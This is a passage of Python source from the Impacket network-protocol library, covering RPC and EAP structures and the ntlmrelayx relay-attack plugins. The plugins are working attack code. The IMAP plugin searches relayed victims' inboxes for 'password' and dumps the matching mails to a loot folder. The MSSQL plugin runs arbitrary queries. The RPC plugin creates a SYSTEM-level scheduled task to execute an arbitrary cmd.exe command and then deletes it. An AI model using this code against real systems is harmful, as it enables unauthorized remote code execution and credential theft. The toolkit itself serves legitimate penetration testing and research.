NullHandler(logging.Handler): 19 | def emit(self, record): 20 | pass 21 | 22 | # All modules inside this library MUST use this logger (impacket) 23 | # It is up to the library consumer to do whatever is wanted 24 | # with the logger output. By default it is forwarded to the 25 | # upstream logger 26 | 27 | LOG = logging.getLogger(__name__) 28 | LOG.addHandler(NullHandler()) 29 | -------------------------------------------------------------------------------- /impacket/dcerpc/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | pass 10 | -------------------------------------------------------------------------------- /impacket/dcerpc/v5/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | pass 10 | -------------------------------------------------------------------------------- /impacket/dcerpc/v5/dcom/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | pass 10 | -------------------------------------------------------------------------------- /impacket/dcerpc/v5/oxabref.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # [MS-OXABREF]: Address Book Name Service Provider Interface (NSPI) Referral Protocol 11 | # 12 | # Author: 13 | # Arseniy Sharoglazov / Positive Technologies (https://www.ptsecurity.com/) 14 | # 15 | 16 | from impacket import hresult_errors, mapi_constants 17 | from impacket.dcerpc.v5.dtypes import NULL, STR, ULONG 18 | from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER 19 | from impacket.dcerpc.v5.rpcrt import DCERPCException 20 | from impacket.uuid import uuidtup_to_bin 21 | 22 | MSRPC_UUID_OXABREF = uuidtup_to_bin(('1544F5E0-613C-11D1-93DF-00C04FD7BD09','1.0')) 23 | 24 | class DCERPCSessionError(DCERPCException): 25 | def __init__(self, error_string=None, error_code=None, packet=None): 26 | DCERPCException.__init__(self, error_string, error_code, packet) 27 | 28 | def __str__( self ): 29 | key = self.error_code 30 | if key in mapi_constants.ERROR_MESSAGES: 31 | error_msg_short = mapi_constants.ERROR_MESSAGES[key] 32 | return 'OXABREF SessionError: code: 0x%x - %s' % (self.error_code, error_msg_short) 33 | elif key in hresult_errors.ERROR_MESSAGES: 34 | error_msg_short = hresult_errors.ERROR_MESSAGES[key][0] 35 | error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1] 36 | return 'OXABREF SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) 37 | else: 38 | return 'OXABREF SessionError: unknown error code: 0x%x' % self.error_code 39 | 40 | ################################################################################ 41 | # STRUCTURES 42 | ################################################################################ 43 | class PUCHAR_ARRAY(NDRPOINTER): 44 | referent = ( 45 | ('Data', STR), 46 | ) 47 | 48 | class PPUCHAR_ARRAY(NDRPOINTER): 49 | referent = ( 50 | ('Data', PUCHAR_ARRAY), 51 | ) 52 | 53 | ################################################################################ 54 | # RPC CALLS 55 | ################################################################################ 56 | 57 | # 3.1.4.1 RfrGetNewDSA (opnum 0) 58 | class RfrGetNewDSA(NDRCALL): 59 | opnum = 0 60 | structure = ( 61 | ('ulFlags', ULONG), 62 | ('pUserDN', STR), 63 | ('ppszUnused', PPUCHAR_ARRAY), 64 | ('ppszServer', PPUCHAR_ARRAY), 65 | ) 66 | 67 | class RfrGetNewDSAResponse(NDRCALL): 68 | structure = ( 69 | ('ppszUnused', PPUCHAR_ARRAY), 70 | ('ppszServer', PPUCHAR_ARRAY), 71 | ) 72 | 73 | # 3.1.4.2 RfrGetFQDNFromServerDN (opnum 1) 74 | class RfrGetFQDNFromServerDN(NDRCALL): 75 | opnum = 1 76 | structure = ( 77 | ('ulFlags', ULONG), 78 | ('cbMailboxServerDN', ULONG), 79 | ('szMailboxServerDN', STR), 80 | ) 81 | 82 | class RfrGetFQDNFromServerDNResponse(NDRCALL): 83 | structure = ( 84 | ('ppszServerFQDN', PUCHAR_ARRAY), 85 | ('ErrorCode', ULONG), 86 | ) 87 | 88 | ################################################################################ 89 | # OPNUMs and their corresponding structures 90 | ################################################################################ 91 | OPNUMS = { 92 | 0 : (RfrGetNewDSA, RfrGetNewDSAResponse), 93 | 1 : (RfrGetFQDNFromServerDN, RfrGetFQDNFromServerDNResponse), 94 | } 95 | 96 | ################################################################################ 97 | # HELPER FUNCTIONS 98 | ################################################################################ 99 | def checkNullString(string): 100 | if string == NULL: 101 | return string 102 | 103 | if string[-1:] != '\x00': 104 | return string + '\x00' 105 | else: 106 | return string 107 | 108 | def hRfrGetNewDSA(dce, pUserDN=''): 109 | request = RfrGetNewDSA() 110 | request['ulFlags'] = 0 111 | request['pUserDN'] = checkNullString(pUserDN) 112 | request['ppszUnused'] = NULL 113 | request['ppszServer'] = '\x00' 114 | 115 | resp = dce.request(request) 116 | resp['ppszServer'] = resp['ppszServer'][:-1] 117 | 118 | if request['ppszUnused'] != NULL: 119 | resp['ppszUnused'] = resp['ppszUnused'][:-1] 120 | 121 | return resp 122 | 123 | def hRfrGetFQDNFromServerDN(dce, szMailboxServerDN): 124 | szMailboxServerDN = checkNullString(szMailboxServerDN) 125 | request = RfrGetFQDNFromServerDN() 126 | request['ulFlags'] = 0 127 | request['szMailboxServerDN'] = szMailboxServerDN 128 | request['cbMailboxServerDN'] = len(szMailboxServerDN) 129 | 130 | resp = dce.request(request) 131 | resp['ppszServerFQDN'] = resp['ppszServerFQDN'][:-1] 132 | 133 | return resp 134 | -------------------------------------------------------------------------------- /impacket/eap.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # EAP packets 11 | # 12 | # Author: 13 | # Aureliano Calvo 14 | # 15 | 16 | from impacket.helper import ProtocolPacket, Byte, Word, Long, ThreeBytesBigEndian 17 | 18 | DOT1X_AUTHENTICATION = 0x888E 19 | 20 | class EAPExpanded(ProtocolPacket): 21 | """EAP expanded data according to RFC 3748, section 5.7""" 22 | 23 | WFA_SMI = 0x00372a 24 | SIMPLE_CONFIG = 0x00000001 25 | 26 | header_size = 7 27 | tail_size = 0 28 | 29 | vendor_id = ThreeBytesBigEndian(0) 30 | vendor_type = Long(3, ">") 31 | 32 | class EAPR(ProtocolPacket): 33 | """It represents a request or a response in EAP (codes 1 and 2)""" 34 | 35 | IDENTITY = 0x01 36 | EXPANDED = 0xfe 37 | 38 | header_size = 1 39 | tail_size = 0 40 | 41 | type = Byte(0) 42 | 43 | class EAP(ProtocolPacket): 44 | REQUEST = 0x01 45 | RESPONSE = 0x02 46 | SUCCESS = 0x03 47 | FAILURE = 0x04 48 | 49 | header_size = 4 50 | tail_size = 0 51 | 52 | code = Byte(0) 53 | identifier = Byte(1) 54 | length = Word(2, ">") 55 | 56 | class EAPOL(ProtocolPacket): 57 | EAP_PACKET = 0x00 58 | EAPOL_START = 0x01 59 | EAPOL_LOGOFF = 0x02 60 | EAPOL_KEY = 0x03 61 | EAPOL_ENCAPSULATED_ASF_ALERT = 0x04 62 | 63 | DOT1X_VERSION = 0x01 64 | 65 | header_size = 4 66 | tail_size = 0 67 | 68 | version = Byte(0) 69 | packet_type = Byte(1) 70 | body_length = Word(2, ">") 71 | -------------------------------------------------------------------------------- /impacket/examples/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | pass 10 | -------------------------------------------------------------------------------- /impacket/examples/logger.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2019 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # This logger is intended to be used by impacket instead 11 | # of printing directly. This will allow other libraries to use their 12 | # custom logging implementation. 13 | # 14 | 15 | import logging 16 | import sys 17 | 18 | # This module can be used by scripts using the Impacket library 19 | # in order to configure the root logger to output events 20 | # generated by the library with a predefined format 21 | 22 | # If the scripts want to generate log entries, they can write 23 | # directly to the root logger (logging.info, debug, etc). 24 | 25 | class ImpacketFormatter(logging.Formatter): 26 | ''' 27 | Prefixing logged messages through the custom attribute 'bullet'. 28 | ''' 29 | def __init__(self): 30 | logging.Formatter.__init__(self,'%(bullet)s %(message)s', None) 31 | 32 | def format(self, record): 33 | if record.levelno == logging.INFO: 34 | record.bullet = '[*]' 35 | elif record.levelno == logging.DEBUG: 36 | record.bullet = '[+]' 37 | elif record.levelno == logging.WARNING: 38 | record.bullet = '[!]' 39 | else: 40 | record.bullet = '[-]' 41 | 42 | return logging.Formatter.format(self, record) 43 | 44 | class ImpacketFormatterTimeStamp(ImpacketFormatter): 45 | ''' 46 | Prefixing logged messages through the custom attribute 'bullet'. 47 | ''' 48 | def __init__(self): 49 | logging.Formatter.__init__(self,'[%(asctime)-15s] %(bullet)s %(message)s', None) 50 | 51 | def formatTime(self, record, datefmt=None): 52 | return ImpacketFormatter.formatTime(self, record, datefmt="%Y-%m-%d %H:%M:%S") 53 | 54 | def init(ts=False): 55 | # We add a StreamHandler and formatter to the root logger 56 | handler = logging.StreamHandler(sys.stdout) 57 | if not ts: 58 | handler.setFormatter(ImpacketFormatter()) 59 | else: 60 | handler.setFormatter(ImpacketFormatterTimeStamp()) 61 | logging.getLogger().addHandler(handler) 62 | logging.getLogger().setLevel(logging.INFO) 63 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | pass 10 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/attacks/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # Protocol Attack Base Class definition 11 | # Defines a base class for all attacks + loads all available modules 12 | # 13 | # Author: 14 | # Alberto Solino (@agsolino) 15 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 16 | # 17 | import os, sys 18 | import pkg_resources 19 | from impacket import LOG 20 | from threading import Thread 21 | 22 | PROTOCOL_ATTACKS = {} 23 | 24 | # Base class for Protocol Attacks for different protocols (SMB, MSSQL, etc) 25 | # Besides using this base class you need to define one global variable when 26 | # writing a plugin for protocol clients: 27 | # PROTOCOL_ATTACK_CLASS = "" 28 | # or (to support multiple classes in one file) 29 | # PROTOCOL_ATTACK_CLASSES = ["", ""] 30 | # These classes must have the attribute PLUGIN_NAMES which is a list of protocol names 31 | # that will be matched later with the relay targets (e.g. SMB, LDAP, etc) 32 | class ProtocolAttack(Thread): 33 | PLUGIN_NAMES = ['PROTOCOL'] 34 | def __init__(self, config, client, username): 35 | Thread.__init__(self) 36 | # Set threads as daemon 37 | self.daemon = True 38 | self.config = config 39 | self.client = client 40 | # By default we only use the username and remove the domain 41 | self.username = username.split('/')[1] 42 | 43 | def run(self): 44 | raise RuntimeError('Virtual Function') 45 | 46 | for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx', 'attacks'): 47 | if file.find('__') >= 0 or file.endswith('.py') is False: 48 | continue 49 | # This seems to be None in some case (py3 only) 50 | # __spec__ is py3 only though, but I haven't seen this being None on py2 51 | # so it should cover all cases. 52 | try: 53 | package = __spec__.name # Python 3 54 | except NameError: 55 | package = __package__ # Python 2 56 | __import__(package + '.' + os.path.splitext(file)[0]) 57 | module = sys.modules[package + '.' + os.path.splitext(file)[0]] 58 | try: 59 | pluginClasses = set() 60 | try: 61 | if hasattr(module, 'PROTOCOL_ATTACK_CLASSES'): 62 | # Multiple classes 63 | for pluginClass in module.PROTOCOL_ATTACK_CLASSES: 64 | pluginClasses.add(getattr(module, pluginClass)) 65 | else: 66 | # Single class 67 | pluginClasses.add(getattr(module, getattr(module, 'PROTOCOL_ATTACK_CLASS'))) 68 | except Exception as e: 69 | LOG.debug(e) 70 | pass 71 | 72 | for pluginClass in pluginClasses: 73 | for pluginName in pluginClass.PLUGIN_NAMES: 74 | LOG.debug('Protocol Attack %s loaded..' % pluginName) 75 | PROTOCOL_ATTACKS[pluginName] = pluginClass 76 | except Exception as e: 77 | LOG.debug(str(e)) 78 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/attacks/dcsyncattack.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # HTTP Attack Class 11 | # HTTP protocol relay attack 12 | # 13 | # Authors: 14 | # Alberto Solino (@agsolino) 15 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 16 | # 17 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 18 | from impacket.examples.secretsdump import RemoteOperations, SAMHashes, NTDSHashes 19 | 20 | PROTOCOL_ATTACK_CLASS = "DCSYNCAttack" 21 | 22 | class DCSYNCAttack(ProtocolAttack): 23 | """ 24 | This is the default HTTP attack. This attack only dumps the root page, though 25 | you can add any complex attack below. self.client is an instance of urrlib.session 26 | For easy advanced attacks, use the SOCKS option and use curl or a browser to simply 27 | proxy through ntlmrelayx 28 | """ 29 | PLUGIN_NAMES = ["DCSYNC"] 30 | def run(self): 31 | return 32 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/attacks/httpattack.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # HTTP Attack Class 11 | # HTTP protocol relay attack 12 | # 13 | # Authors: 14 | # Alberto Solino (@agsolino) 15 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 16 | # 17 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 18 | 19 | PROTOCOL_ATTACK_CLASS = "HTTPAttack" 20 | 21 | class HTTPAttack(ProtocolAttack): 22 | """ 23 | This is the default HTTP attack. This attack only dumps the root page, though 24 | you can add any complex attack below. self.client is an instance of urrlib.session 25 | For easy advanced attacks, use the SOCKS option and use curl or a browser to simply 26 | proxy through ntlmrelayx 27 | """ 28 | PLUGIN_NAMES = ["HTTP", "HTTPS"] 29 | def run(self): 30 | #Default action: Dump requested page to file, named username-targetname.html 31 | 32 | #You can also request any page on the server via self.client.session, 33 | #for example with: 34 | self.client.request("GET", "/") 35 | r1 = self.client.getresponse() 36 | print(r1.status, r1.reason) 37 | data1 = r1.read() 38 | print(data1) 39 | 40 | #Remove protocol from target name 41 | #safeTargetName = self.client.target.replace('http://','').replace('https://','') 42 | 43 | #Replace any special chars in the target name 44 | #safeTargetName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', safeTargetName) 45 | 46 | #Combine username with filename 47 | #fileName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username.decode('utf-16-le')) + '-' + safeTargetName + '.html' 48 | 49 | #Write it to the file 50 | #with open(os.path.join(self.config.lootdir,fileName),'w') as of: 51 | # of.write(self.client.lastresult) 52 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/attacks/imapattack.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # IMAP Attack Class 11 | # IMAP protocol relay attack 12 | # 13 | # Authors: 14 | # Alberto Solino (@agsolino) 15 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 16 | # 17 | import re 18 | import os 19 | from impacket import LOG 20 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 21 | 22 | PROTOCOL_ATTACK_CLASS = "IMAPAttack" 23 | 24 | class IMAPAttack(ProtocolAttack): 25 | """ 26 | This is the default IMAP(s) attack. By default it searches the INBOX imap folder 27 | for messages with "password" in the header or body. Alternate keywords can be specified 28 | on the command line. For more advanced attacks, consider using the SOCKS feature. 29 | """ 30 | PLUGIN_NAMES = ["IMAP", "IMAPS"] 31 | def run(self): 32 | #Default action: Search the INBOX 33 | targetBox = self.config.mailbox 34 | result, data = self.client.select(targetBox,True) #True indicates readonly 35 | if result != 'OK': 36 | LOG.error('Could not open mailbox %s: %s' % (targetBox, data)) 37 | LOG.info('Opening mailbox INBOX') 38 | targetBox = 'INBOX' 39 | result, data = self.client.select(targetBox,True) #True indicates readonly 40 | inboxCount = int(data[0]) 41 | LOG.info('Found %s messages in mailbox %s' % (inboxCount, targetBox)) 42 | #If we should not dump all, search for the keyword 43 | if not self.config.dump_all: 44 | result, rawdata = self.client.search(None, 'OR', 'SUBJECT', '"%s"' % self.config.keyword, 'BODY', '"%s"' % self.config.keyword) 45 | #Check if search worked 46 | if result != 'OK': 47 | LOG.error('Search failed: %s' % rawdata) 48 | return 49 | dumpMessages = [] 50 | #message IDs are separated by spaces 51 | for msgs in rawdata: 52 | dumpMessages += msgs.split(' ') 53 | if self.config.dump_max != 0 and len(dumpMessages) > self.config.dump_max: 54 | dumpMessages = dumpMessages[:self.config.dump_max] 55 | else: 56 | #Dump all mails, up to the maximum number configured 57 | if self.config.dump_max == 0 or self.config.dump_max > inboxCount: 58 | dumpMessages = list(range(1, inboxCount+1)) 59 | else: 60 | dumpMessages = list(range(1, self.config.dump_max+1)) 61 | 62 | numMsgs = len(dumpMessages) 63 | if numMsgs == 0: 64 | LOG.info('No messages were found containing the search keywords') 65 | else: 66 | LOG.info('Dumping %d messages found by search for "%s"' % (numMsgs, self.config.keyword)) 67 | for i, msgIndex in enumerate(dumpMessages): 68 | #Fetch the message 69 | result, rawMessage = self.client.fetch(msgIndex, '(RFC822)') 70 | if result != 'OK': 71 | LOG.error('Could not fetch message with index %s: %s' % (msgIndex, rawMessage)) 72 | continue 73 | 74 | #Replace any special chars in the mailbox name and username 75 | mailboxName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', targetBox) 76 | textUserName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username) 77 | 78 | #Combine username with mailboxname and mail number 79 | fileName = 'mail_' + textUserName + '-' + mailboxName + '_' + str(msgIndex) + '.eml' 80 | 81 | #Write it to the file 82 | with open(os.path.join(self.config.lootdir,fileName),'w') as of: 83 | of.write(rawMessage[0][1]) 84 | LOG.info('Done fetching message %d/%d' % (i+1,numMsgs)) 85 | 86 | #Close connection cleanly 87 | self.client.logout() 88 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/attacks/mssqlattack.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # MSSQL Attack Class 11 | # MSSQL protocol relay attack 12 | # 13 | # Authors: 14 | # Alberto Solino (@agsolino) 15 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 16 | # 17 | from impacket import LOG 18 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 19 | 20 | PROTOCOL_ATTACK_CLASS = "MSSQLAttack" 21 | 22 | class MSSQLAttack(ProtocolAttack): 23 | PLUGIN_NAMES = ["MSSQL"] 24 | def run(self): 25 | if self.config.queries is None: 26 | LOG.error('No SQL queries specified for MSSQL relay!') 27 | else: 28 | for query in self.config.queries: 29 | LOG.info('Executing SQL: %s' % query) 30 | self.client.sql_query(query) 31 | self.client.printReplies() 32 | self.client.printRows() 33 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/attacks/rpcattack.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Authors: 10 | # Arseniy Sharoglazov / Positive Technologies (https://www.ptsecurity.com/) 11 | # Based on @agsolino and @_dirkjan code 12 | # 13 | 14 | import time 15 | import string 16 | import random 17 | 18 | from impacket import LOG 19 | from impacket.dcerpc.v5 import tsch 20 | from impacket.dcerpc.v5.dtypes import NULL 21 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 22 | 23 | PROTOCOL_ATTACK_CLASS = "RPCAttack" 24 | 25 | class TSCHRPCAttack: 26 | def _xml_escape(self, data): 27 | replace_table = { 28 | "&": "&", 29 | '"': """, 30 | "'": "'", 31 | ">": ">", 32 | "<": "<", 33 | } 34 | return ''.join(replace_table.get(c, c) for c in data) 35 | 36 | def _run(self): 37 | # Here PUT YOUR CODE! 38 | tmpName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) 39 | 40 | cmd = "cmd.exe" 41 | args = "/C %s" % self.config.command 42 | 43 | LOG.info('Executing command %s in no output mode via %s' % (self.config.command, self.stringbinding)) 44 | 45 | xml = """ 46 | 47 | 48 | 49 | 2015-07-15T20:35:13.2757294 50 | true 51 | 52 | 1 53 | 54 | 55 | 56 | 57 | 58 | S-1-5-18 59 | HighestAvailable 60 | 61 | 62 | 63 | IgnoreNew 64 | false 65 | false 66 | true 67 | false 68 | 69 | true 70 | false 71 | 72 | true 73 | true 74 | true 75 | false 76 | false 77 | P3D 78 | 7 79 | 80 | 81 | 82 | %s 83 | %s 84 | 85 | 86 | 87 | """ % (self._xml_escape(cmd), self._xml_escape(args)) 88 | 89 | LOG.info('Creating task \\%s' % tmpName) 90 | tsch.hSchRpcRegisterTask(self.dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) 91 | 92 | LOG.info('Running task \\%s' % tmpName) 93 | done = False 94 | 95 | tsch.hSchRpcRun(self.dce, '\\%s' % tmpName) 96 | 97 | while not done: 98 | LOG.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName) 99 | resp = tsch.hSchRpcGetLastRunInfo(self.dce, '\\%s' % tmpName) 100 | if resp['pLastRuntime']['wYear'] != 0: 101 | done = True 102 | else: 103 | time.sleep(2) 104 | 105 | LOG.info('Deleting task \\%s' % tmpName) 106 | tsch.hSchRpcDelete(self.dce, '\\%s' % tmpName) 107 | LOG.info('Completed!') 108 | 109 | 110 | class RPCAttack(ProtocolAttack, TSCHRPCAttack): 111 | PLUGIN_NAMES = ["RPC"] 112 | 113 | def __init__(self, config, dce, username): 114 | ProtocolAttack.__init__(self, config, dce, username) 115 | self.dce = dce 116 | self.rpctransport = dce.get_rpc_transport() 117 | self.stringbinding = self.rpctransport.get_stringbinding() 118 | 119 | def run(self): 120 | # Here PUT YOUR CODE! 121 | 122 | # Assume the endpoint is TSCH 123 | # TODO: support relaying RPC to different endpoints 124 | # TODO: support for providing a shell 125 | # TODO: support for getting an output 126 | if self.config.command is not None: 127 | TSCHRPCAttack._run(self) 128 | else: 129 | LOG.error("No command provided to attack") 130 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/clients/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # Protocol Client Base Class definition 11 | # Defines a base class for all clients + loads all available modules 12 | # 13 | # Author: 14 | # Alberto Solino (@agsolino) 15 | # 16 | import os, sys, pkg_resources 17 | from impacket import LOG 18 | 19 | PROTOCOL_CLIENTS = {} 20 | 21 | # Base class for Protocol Clients for different protocols (SMB, MSSQL, etc) 22 | # Besides using this base class you need to define one global variable when 23 | # writing a plugin for protocol clients: 24 | # PROTOCOL_CLIENT_CLASS = "" 25 | # PLUGIN_NAME must be the protocol name that will be matched later with the relay targets (e.g. SMB, LDAP, etc) 26 | class ProtocolClient: 27 | PLUGIN_NAME = 'PROTOCOL' 28 | def __init__(self, serverConfig, target, targetPort, extendedSecurity=True): 29 | self.serverConfig = serverConfig 30 | self.targetHost = target.hostname 31 | # A default target port is specified by the subclass 32 | if target.port is not None: 33 | # We override it by the one specified in the target 34 | self.targetPort = target.port 35 | else: 36 | self.targetPort = targetPort 37 | self.target = target 38 | self.extendedSecurity = extendedSecurity 39 | self.session = None 40 | self.sessionData = {} 41 | 42 | def initConnection(self): 43 | raise RuntimeError('Virtual Function') 44 | 45 | def killConnection(self): 46 | raise RuntimeError('Virtual Function') 47 | 48 | def sendNegotiate(self, negotiateMessage): 49 | """ 50 | Charged of sending the type 1 NTLM Message 51 | 52 | :param bytes negotiateMessage: 53 | :return: 54 | """ 55 | raise RuntimeError('Virtual Function') 56 | 57 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 58 | """ 59 | Charged of sending the type 3 NTLM Message to the Target 60 | 61 | :param bytes authenticateMessageBlob: 62 | :param bytes serverChallenge: 63 | :return: 64 | """ 65 | raise RuntimeError('Virtual Function') 66 | 67 | def sendStandardSecurityAuth(self, sessionSetupData): 68 | # Handle the situation When FLAGS2_EXTENDED_SECURITY is not set 69 | raise RuntimeError('Virtual Function') 70 | 71 | def getSession(self): 72 | # Should return the active session for the relayed connection 73 | raise RuntimeError('Virtual Function') 74 | 75 | def getSessionData(self): 76 | # Should return any extra data that could be useful for the SOCKS proxy to work (e.g. some of the 77 | # answers from the original server) 78 | return self.sessionData 79 | 80 | def getStandardSecurityChallenge(self): 81 | # Should return the Challenge returned by the server when Extended Security is not set 82 | # This should only happen with against old Servers. By default we return None 83 | return None 84 | 85 | def keepAlive(self): 86 | # Charged of keeping connection alive 87 | raise RuntimeError('Virtual Function') 88 | 89 | def isAdmin(self): 90 | # Should return whether or not the user is admin in the form of a string (e.g. "TRUE", "FALSE") 91 | # Depending on the protocol, different techniques should be used. 92 | # By default, raise exception 93 | raise RuntimeError('Virtual Function') 94 | 95 | for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx', 'clients'): 96 | if file.find('__') >= 0 or file.endswith('.py') is False: 97 | continue 98 | # This seems to be None in some case (py3 only) 99 | # __spec__ is py3 only though, but I haven't seen this being None on py2 100 | # so it should cover all cases. 101 | try: 102 | package = __spec__.name # Python 3 103 | except NameError: 104 | package = __package__ # Python 2 105 | __import__(package + '.' + os.path.splitext(file)[0]) 106 | module = sys.modules[package + '.' + os.path.splitext(file)[0]] 107 | try: 108 | pluginClasses = set() 109 | try: 110 | if hasattr(module,'PROTOCOL_CLIENT_CLASSES'): 111 | for pluginClass in module.PROTOCOL_CLIENT_CLASSES: 112 | pluginClasses.add(getattr(module, pluginClass)) 113 | else: 114 | pluginClasses.add(getattr(module, getattr(module, 'PROTOCOL_CLIENT_CLASS'))) 115 | except Exception as e: 116 | LOG.debug(e) 117 | pass 118 | 119 | for pluginClass in pluginClasses: 120 | LOG.info('Protocol Client %s loaded..' % pluginClass.PLUGIN_NAME) 121 | PROTOCOL_CLIENTS[pluginClass.PLUGIN_NAME] = pluginClass 122 | except Exception as e: 123 | LOG.debug(str(e)) 124 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/clients/imaprelayclient.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # IMAP Protocol Client 11 | # IMAP client for relaying NTLMSSP authentication to mailservers, for 